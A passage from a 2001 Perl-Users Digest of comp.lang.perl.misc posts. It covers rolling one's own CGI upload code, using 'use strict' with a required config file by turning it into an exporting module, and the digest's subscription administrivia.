reuseable software won't do easily, then it may be time to roll your
own.  Of course your reasons for doing so should be good ones. :-)

A few years ago I was trying to make CGI.pm do something specific with
file uploading (don't remember what) and after fighting it for a day or
so decided to write my own file uploading routines.

As you point out it was an excellent learning experience. :-)

BUT!

I managed to come up with code that did not require using uninitialized 
values, as (at that time) CGI.pm and other upload routines  did.
It was also sensibly faster than CGI.pm.  More to the point I could 
easily go in and tweak my code to do specific things that I wanted it to do
which would be 'interesting' with CGI.pm.

Note that is not a slam of Lincoln by any stretch of the imagination. 
But you simply can not expect any one person (or module) to address all 
possible concerns and sometimes reusable code just doesn't do exactly 
what you need it to do....

my $.02

Steve


------------------------------

Date: Sat, 17 Feb 2001 04:10:59 +0900
From: LXQ <lxq79@REMOVE.CAPITALS.hotmail.com>
Subject: use strict and require
Message-Id: <20010217041059.4c828eaa.lxq79@REMOVE.CAPITALS.hotmail.com>

Hi,

I am trying to make a config file like this:

config.pl
#!/usr/bin/perl
$sendmail = "/usr/sbin/sendmail";

And then all the other program can read from the config.pl, like:

program.pl
#!/usr/bin/perl
require "config.pl";
print "Sendmail location is $sendmail";

It works fine. But the problem is as my project getting bigger, I want to
use 'use strict'. I tried but failed, any conclusion for this? Thanks very
much.
 


------------------------------

Date: Fri, 16 Feb 2001 22:54:11 GMT
From: Beable van Polasm <beable@my-deja.com>
Subject: Re: use strict and require
Message-Id: <m3hf1utffc.fsf@beable.van.polasm.bigpond.net.au>

LXQ <lxq79@REMOVE.CAPITALS.hotmail.com> writes:
> I am trying to make a config file like this:
> 
> config.pl
> #!/usr/bin/perl
> $sendmail = "/usr/sbin/sendmail";
> 
> And then all the other program can read from the config.pl, like:
> 
> program.pl
> #!/usr/bin/perl
> require "config.pl";
> print "Sendmail location is $sendmail";
> 
> It works fine. But the problem is as my project getting bigger, I want to
> use 'use strict'. I tried but failed, any conclusion for this? Thanks very
> much.

The easiest way would be to make your variables file into a module. The
module would EXPORT the configuration variables that you want the programs
to see. Then you can "use" the module to get access to the variables. 

Further reading:
perldoc -q "how do i create a module"

So for example, in your module you could put:
    ...
    @EXPORT_OK = ($sendmail);
    ...
And in your program you can put:

 ...
use Module::Name qw($sendmail);
 ...

cheers
Beable van Polasm
-- 
"I hate leonardo dacapprio I thin he is a little bitch and a whiner. 
 I would pay my life savinge to beable to kick his
 ass!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" -- Mark Sharpe
http://members.nbci.com/_______/index.html   IQC 78189333


------------------------------

Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 303
**************************************


home help back first fref pref prev next nref lref last post